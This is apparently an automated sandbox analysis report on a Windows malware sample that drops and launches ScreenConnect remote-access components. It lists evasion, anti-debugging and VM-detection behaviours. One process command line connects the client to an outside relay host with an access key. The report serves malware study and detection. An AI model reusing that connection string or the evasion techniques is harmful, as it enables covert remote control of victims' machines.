Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 1D2BD210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 1D2D6E20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Memory allocated: BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Memory allocated: 1A860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Memory allocated: 28E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Memory allocated: 4AC0000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 370	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 1728	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 2576	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Window / User API: threadDelayed 376	Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_e9b66cfe0ceec305\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..dows_4b14c015c87c1ad8_0018.0004_none_5818e70d39ed8031\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..core_4b14c015c87c1ad8_0018.0004_none_53a10f2bfd9f6d01\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..vice_4b14c015c87c1ad8_0018.0004_none_04f4a774935ed06c\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Windows.dll	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe TID: 8092	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 8160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7672	Thread sleep time: -128800s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 8160	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe TID: 1712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe TID: 2324	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe TID: 1340	Thread sleep count: 376 > 30	Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_00624B9B FindFirstFileExA,

0_2_00624B9B

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3051108557.000001D2D750F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1874590511.000000001B169000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1My_
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Anti Debugging

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process queried: DebugPort	Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_00621920 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00621920

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

0_2_00621000

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_006237C7 mov eax, dword ptr fs:[00000030h]

0_2_006237C7

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_006269E3 GetProcessHeap,

0_2_006269E3

Enables debug privileges

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Process token adjusted: Debug

Jump to behavior

Launches processes in debugging mode, may be used to hinder debugging

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_00621493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00621493
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_00621920 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00621920
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_006246C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006246C3
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_00621AAD SetUnhandledExceptionFilter,	0_2_00621AAD

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: ScreenConnect.ClientService.dll.1.dr, ClientService.cs	Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe

Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1"

Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\dtabl3ol.hy1\do55etey.oe4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\screenconnect.clientservice.exe" "?e=support&y=guest&h=miledin.mwhelp.site&p=8880&k=bgiaaackaabsu0exaagaaaeaaqc1bc7fdvjjfmjkdeqwcij3jjneml4x59nf7ggtnmjpuazxqdcf4oxznuaf7%2bpvugux9iql0n%2fv66hq12w0ziemc6tfje3cmndeozodx53g06q8buhtzh2x%2f%2b%2bqrazh38rwy8beaezwgd3uplgjgt802v5ryoiginnpsg2qeyjy4zp%2b13derrkttsv6uqi5ikxqwvcrjc%2fgnpsbkuxd%2f8jpqy4dtsbrmb9x3urpot2zflzmjv0lf10mnynoj1gz6q1%2bfaqncjp2sqix%2flzxsofe0atfkdojc3uhmzdhfuwsymenjpldauviud8llhjxaaew8kihkbgfg7ine6vysqaj&r=&i=" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\dtabl3ol.hy1\do55etey.oe4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\screenconnect.clientservice.exe" "?e=support&y=guest&h=miledin.mwhelp.site&p=8880&k=bgiaaackaabsu0exaagaaaeaaqc1bc7fdvjjfmjkdeqwcij3jjneml4x59nf7ggtnmjpuazxqdcf4oxznuaf7%2bpvugux9iql0n%2fv66hq12w0ziemc6tfje3cmndeozodx53g06q8buhtzh2x%2f%2b%2bqrazh38rwy8beaezwgd3uplgjgt802v5ryoiginnpsg2qeyjy4zp%2b13derrkttsv6uqi5ikxqwvcrjc%2fgnpsbkuxd%2f8jpqy4dtsbrmb9x3urpot2zflzmjv0lf10mnynoj1gz6q1%2bfaqncjp2sqix%2flzxsofe0atfkdojc3uhmzdhfuwsymenjpldauviud8llhjxaaew8kihkbgfg7ine6vysqaj&r=&i=" "1"			Jump to behavior

Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation	Jump to behavior
